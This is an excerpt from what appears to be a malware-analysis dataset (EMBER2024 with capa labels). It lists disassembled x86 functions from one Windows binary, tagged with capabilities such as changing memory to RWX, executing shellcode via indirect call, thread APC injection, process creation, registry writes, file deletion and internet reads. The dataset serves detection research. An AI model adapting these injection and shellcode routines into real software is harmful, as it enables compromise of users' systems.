joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005f9a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x1002c154]
mov ebx, 0x1002541e
mov eax, 0x10025443
sub eax, ebx
imul esi, eax
add esi, dword [0x1002c150]
push eax
push ebx
push esi
call sub.ntdll.dll_memcpy
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push 4
push 0x40
push edi
call ebp
test eax, eax
je 0x10006031
mov ecx, dword [0x1002bed0]
mov eax, esi
sub eax, ebx
mov dword [eax + 0x10025430], esi
mov dword [eax + 0x1002543f], edi
movzx ebx, byte [ecx + 2]
mov ebx, dword [edi + ebx*4]
lea edx, [eax + 0x1002543b]
sub ebx, edx
sub ebx, 4
mov dword [edx], ebx
lea eax, [eax + 0x10025435]
mov edx, 0x10005ed3
sub edx, eax
sub edx, 4
mov dword [eax], edx
movzx eax, byte [ecx + 2]
mov dword [edi + eax*4], esi
inc dword [0x1002c154]
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x40
push edi
call ebp
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x100061e5
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
xor bl, bl
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov dword [ebp - 0x10], eax
cmp eax, esi
jne 0x10006213
mov dword [ebp - 4], 0xb
jmp 0x1000630b
push edi
push 1
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.10011fe7
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jne 0x10006246
push dword [ebp - 0xc]
call fcn.10007ba5
push dword [ebp - 0xc]
mov ebx, eax
push 0
push dword [0x1002c0e0]
shr ebx, 0x10
call edi
push 5
xor eax, eax
mov ecx, 0x1002bab0
pop edx
cmp bl, byte [ecx]
jb 0x10006256
mov eax, ecx
add ecx, 5
dec edx
jne 0x10006250
mov byte [eax], bl
mov dword [0x1002bed0], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
call fcn.10003cb2
test eax, eax
jne 0x100062af
cmp dword [ebp - 0x14], 8
jne 0x100062af
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov ebx, dword [ebp - 0x10]
cmp ecx, dword [ebx + 0x58]
jne 0x1000629e
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x1000629e
cmp ecx, dword [ebx + 0x50]
jae 0x1000629e
mov esi, ecx
add esi, dword [ebp + 8]
mov dword [ebp - 8], esi
push eax
push 0
push dword [0x1002c0e0]
call edi
test esi, esi
jne 0x100062fd
jmp 0x100062b2
mov ebx, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1002c150], eax
test eax, eax
je 0x1000630a
mov eax, dword [ebp + 0xc]
mov dword [0x1002becc], eax
mov eax, dword [ebx + 0x58]
mov dword [0x1002bec4], eax
mov eax, dword [ebp + 8]
mov dword [0x1002bec8], eax
push eax
lea eax, [ebp - 8]
call fcn.10006036
test eax, eax
je 0x100062fa
and dword [ebp - 4], 0
jmp 0x1000630a
mov esi, dword [ebp - 8]
push dword [ebp + 8]
mov ecx, esi
call fcn.10005dc9
mov dword [ebp - 4], eax
pop edi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8
Function at 0x1000705d
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
push 7
mov word [ebp - 0x2c], ax
pop ecx
lea edi, [ebp - 0x2a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x2c]
push 0x1002d8c4
xor ebx, ebx
push eax
mov dword [ebp - 8], ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
pop ecx
pop ecx
push ebx
push ebx
call esi
mov dword [ebp - 0xc], eax
lea eax, [eax + eax + 4]
push eax
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10007146
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 4]
push eax
push ebx
push dword [ebp - 4]
call sub.ntdll.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp - 0xc]
call esi
mov esi, dword [ebp - 4]
jmp 0x10007131
push ebx
push dword [0x1002c1f0]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10007136
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10007126
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 4
cmp eax, 0x10
jae 0x10007126
lea eax, [ebp - 0x24]
push esi
push eax
call edi
pop ecx
pop ecx
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
push dword [ebp + 8]
push eax
call fcn.1000feee
add dword [ebp - 8], eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2 + 2]
cmp word [esi], bx
jne 0x100070d9
push dword [ebp - 4]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100072a9
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov esi, eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
push ebx
push 3
mov edi, 0x1002c238
push edi
push 3
push SysReAllocString
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x10007377
push 1
push 0x1002d46e
lea eax, [ebp - 0xc]
call fcn.100113fd
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x10007365
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
push ebx
push 2
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
je 0x1000734a
push dword [ebp + 8]
cdq
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x10], ebx
mov dword [esi + 4], edx
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 8]
mov dword [esi + 0xc], eax
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10007353
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp + 8]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000736c
mov dword [ebp - 4], 8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007380
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000738a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
xor esi, esi
push 0x40
lea eax, [ebp - 0x70]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.ntdll.dll_memset
mov dword [ebp - 0x28], esi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
push esi
stosd dword es:[edi], eax
mov dword [ebp - 0x74], 0x44
mov dword [ebp - 8], esi
call fcn.1000fc85
mov edi, eax
cmp edi, esi
je 0x10007401
push edi
call fcn.100120e8
mov ebx, eax
cmp ebx, esi
je 0x100073f0
push ebx
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
push ebx
push edi
call sub.ntdll.dll_wcstombs
add esp, 0xc
push ebx
jmp 0x100073f1
push edi
call fcn.100012ff
cmp dword [ebp - 8], esi
je 0x10007401
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x10]
push esi
push 0xc000000
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000746f
mov eax, dword [0x1002c1f0]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
push 0xffffffffffffffff
mov dword [ebp - 0x14], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x10007450
mov dword [ebp - 0xc], 0x102
jmp 0x1000745d
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x28]
call edi
jmp 0x10007478
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 8], esi
je 0x10007485
push dword [ebp - 8]
call fcn.100012ff
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10007911
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 0x10], 0
push ebx
push 0xf00
call fcn.10010432
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x100079fa
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
lea esi, [eax + ebx - 1]
push 0x1002de29
mov dword [ebp - 4], eax
mov byte [esi], 0
call fcn.10007748
test eax, eax
jne 0x100079ea
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push ebx
mov byte [esi], 0x31
call fcn.1000fd84
test eax, eax
jne 0x100079e3
push edi
mov edi, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
mov esi, 0x1002de5a
push esi
push dword [ebp - 4]
push edi
call fcn.100135e4
add esp, 0x10
test eax, eax
je 0x100079d3
mov ecx, dword [ebp - 8]
sub ecx, edi
add ecx, eax
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
sub eax, ecx
push esi
push eax
add ecx, edi
push ecx
call fcn.100135e4
add esp, 0x10
test eax, eax
jne 0x1000798b
test ebx, ebx
je 0x100079d0
mov eax, dword [ebp - 8]
push str._s:_r
push ebx
mov byte [eax + ebx], 0
call dword [sym.imp.SHLWAPI.dll_StrTrimA]
push ebx
xor eax, eax
call fcn.10012581
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
push edi
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
mov eax, dword [ebp - 0x10]
pop ebx
leave
ret

Function at 0x10007a5c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x14]
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 8]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x10007af3
push edi
cmp dword [ebp + 0x10], eax
je 0x10007ad6
cmp ebx, eax
je 0x10007ad6
push ebx
call fcn.100012ea
mov edi, eax
test edi, edi
je 0x10007ad1
push ebx
push dword [ebp + 0x10]
push edi
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp + 0x18], 0
je 0x10007ab5
push dword [0x1002c1f4]
mov edx, edi
push ebx
call fcn.10013bae
push ebx
push edi
push 3
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call fcn.100012ff
jmp 0x10007ae9
push 8
pop esi
jmp 0x10007ae9
push eax
push eax
push 3
push eax
push dword [ebp + 0xc]
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x10008420
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
or dword [ebp - 8], 0xffffffff
cmp byte [0x1002c1e0], 5
push ebx
push edi
ja 0x10008440
mov dword [ebp - 8], 0x1388
mov edi, 0x4000
push edi
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100084df
lea eax, [ebp - 4]
push eax
push edi
push ebx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x100084a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x100084be
push dword [ebp - 8]
push dword [esi + 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x10008495
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x102
je 0x100084ce
test eax, eax
jne 0x100084be
mov eax, dword [esi + 0x30]
cmp eax, 1
je 0x100084be
cmp dword [ebp - 4], 0
je 0x100084c7
mov eax, dword [esi]
mov ecx, dword [eax]
push 0
push dword [ebp - 4]
push ebx
push eax
call dword [ecx + 0x10]
jmp 0x1000845e
mov dword [esi + 0x30], 1
jmp 0x100084ce
mov dword [esi + 0x30], 2
push ebx
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100084e6
mov dword [esi + 0x30], 1
mov eax, dword [esi]
call fcn.10001468
pop edi
pop ebx
leave
ret 4

Function at 0x10008ce8
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
and dword [ebp + 8], 0
push esi
push edi
mov edi, ebx
mov esi, eax
call fcn.100085cb
mov edi, eax
test edi, edi
je 0x10008d39
push ebx
call fcn.10008565
lea eax, [esi + 0x18]
mov ecx, dword [eax]
push eax
push ecx
push dword [esi + 0x14]
mov dword [esi + 0x1c], ecx
mov edx, dword [edi]
mov ebx, dword [edx]
push edx
call dword [ebx + 0xc]
test eax, eax
jne 0x10008d28
xor esi, esi
inc esi
jmp 0x10008d2b
mov esi, dword [ebp + 8]
push 0
lea eax, [edi - 0x1c]
push 0
call fcn.10019118
jmp 0x10008d57
cmp dword [ebp + 0x14], 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
push ebx
je 0x10008d4f
call dword [sym.imp.WININET.dll_InternetReadFileExW]
jmp 0x10008d55
call dword [sym.imp.WININET.dll_InternetReadFileExA]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x1000926e
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
test dword [ebp + 0xc], 0x80000000
push edi
mov dword [ebp + 8], esi
jne 0x1000935f
push ebx
call fcn.10008135
mov edi, eax
cmp edi, esi
je 0x1000935f
mov eax, dword [edi + 0x34]
test al, 0x40
je 0x100092c2
mov esi, dword [edi + 0x38]
test esi, esi
je 0x100092c0
cmp dword [esi + 0xc], 0
jne 0x100092b6
call fcn.1001625b
test eax, eax
jne 0x100092c0
mov ebx, dword [esi + 0x18]
mov dword [ebp + 8], 1
xor esi, esi
push esi
lea eax, [edi - 0x1c]
push esi
call fcn.10019118
cmp dword [ebp + 8], esi
je 0x1000935f
cmp dword [ebp + 0xc], 0xffff
mov dword [ebp + 8], esi
jne 0x100092f8
cmp dword [ebp + 0x1c], esi
jne 0x100092f2
push dword [ebp + 0x10]
xor eax, eax
call fcn.10012623
jmp 0x100092f5
mov eax, dword [ebp + 0x10]
mov dword [ebp + 8], eax
push dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push edi
push dword [ebp + 0x10]
push dword [ebp + 8]
push dword [ebp + 0xc]
push ebx
call sub.WINHTTP.dll_WinHttpQueryHeaders
mov ebx, eax
cmp dword [ebp + 0x1c], esi
jne 0x10009381
cmp ebx, esi
je 0x10009348
test dword [ebp + 0xc], 0x60000000
jne 0x10009348
cmp dword [ebp + 0x10], esi
je 0x10009348
mov eax, dword [edi]
cmp eax, esi
je 0x10009348
shr eax, 1
mov esi, eax
lea eax, [esi + 1]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0x10]
call dword [sym.imp.ntdll.dll_wcstombs]
add esp, 0xc
mov dword [edi], esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x10009381
push dword [ebp + 8]
push esi
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10009381
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
cmp dword [ebp + 0x1c], esi
je 0x10009379
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
jmp 0x1000937f
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, eax
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0x18
Function at 0x10009d01
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, 0x104
xor ebx, ebx
push esi
push ebx
push dword [0x1002c0e0]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], ebx
call edi
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10009eae
push esi
push ebx
push dword [0x1002c0e0]
call edi
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x10009e6b
cmp dword [0x1002c28c], ebx
je 0x10009e6b
lea eax, [ebp - 0x2c]
push eax
push dword [0x1002c1a0]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10009e5b
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x20]
push ebx
push ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0x18]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x30], eax
cmp eax, 0xea
jne 0x10009dff
push dword [ebp - 4]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 8]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
add dword [ebp - 0xc], esi
push dword [ebp - 0xc]
push ebx
push dword [0x1002c0e0]
call edi
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
push ebx
push dword [0x1002c0e0]
call edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 4], ebx
je 0x10009e52
cmp dword [ebp - 8], ebx
jne 0x10009d85
cmp dword [ebp - 0x30], ebx
jne 0x10009e52
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call fcn.10009b9c
test eax, eax
jne 0x10009e4a
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
je 0x10009e37
push eax
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp + 0xc], eax
mov dword [ebp - 0x14], 1
inc dword [ebp - 0x18]
jmp 0x10009d85
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10009428
or dword [ebp - 0x14], eax
cmp dword [ebp - 4], ebx
je 0x10009e80
push dword [ebp - 4]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 8], ebx
je 0x10009e95
push dword [ebp - 8]
push ebx
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x14], ebx
je 0x10009eae
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
mov eax, dword [ebp + 0x14]
cmp eax, ebx
je 0x10009eae
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1000a6f3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push 8
pop ebx
push dword [ebp + 8]
call esi
add eax, 5
push eax
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x1000a77e
push dword [ebp + 8]
push 0x1002d3ec
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [0x1002c1a0]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test ebx, ebx
jne 0x1000a76f
push dword [ebp + 0xc]
call esi
inc eax
push eax
push dword [ebp + 0xc]
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push 0
push dword [0x1002c0e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x1000b30e
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
xor ebx, ebx
push 6
xor eax, eax
pop ecx
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], ebx
je 0x1000b336
push dword [ebp + 8]
call esi
push ebx
push 4
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x1000b3b8
push 0x1002e030
push 0x1002d01d
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32First
jmp 0x1000b3af
mov eax, dword [ebp - 0x14]
cmp eax, dword [0x1002c1dc]
jne 0x1000b3a3
push dword [ebp - 0x18]
push ebx
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
cmp edi, ebx
je 0x1000b3a3
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push edi
call esi
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000b375
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1000b3bf
Capabilities:
Create thread

Disassembly:
push ecx
mov eax, dword [0x1002c190]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, 0x79007f4
je 0x1000b451
cmp eax, 0x1541f349
je 0x1000b44a
cmp eax, 0x4e19cd8f
je 0x1000b42b
cmp eax, 0x5aff7c2a
je 0x1000b424
cmp eax, 0x7a4eb174
je 0x1000b424
cmp eax, 0xaf9000f0
je 0x1000b41a
cmp eax, 0xbb232e80
je 0x1000b404
mov dword [0x1002c190], edi
jmp 0x1000b414
call fcn.10006314
mov esi, eax
cmp esi, edi
jne 0x1000b414
call fcn.1000484f
pop edi
mov eax, esi
pop esi
pop ecx
ret
push edi
push edi
push edi
call fcn.1000b30e
jmp 0x1000b414
call fcn.100081a5
jmp 0x1000b409
push 2
pop esi
push 0x1002d88e
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, edi
je 0x1000b40b
push 0x1002d1ee
push eax
call fcn.100061e5
jmp 0x1000b409
call fcn.10006e63
jmp 0x1000b409
lea eax, [esp + 8]
push eax
push edi
push edi
push 0x10006b86
push edi
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x1000b474
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000b414
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000b414

Function at 0x1000b924
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
push esi
stosd dword es:[edi], eax
push 1
push esi
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x1000b9eb
mov ecx, dword [0x1002c1f0]
mov dword [ebp + 0xc], esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
cmp dword [ebp + 0x14], esi
je 0x1000b97f
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1000b985
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
jne 0x1000b9c4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0x3e5
jne 0x1000b9d9
push 0x2710
push esi
lea eax, [ebp - 8]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov edi, eax
cmp edi, 1
jne 0x1000b9d0
push esi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
mov eax, dword [ebp + 0xc]
add ebx, eax
sub dword [ebp + 0x10], eax
jne 0x1000b963
jmp 0x1000b9de
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CancelIo]
cmp dword [ebp + 0x10], esi
jne 0x1000b9e0
xor edi, edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000b9f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x10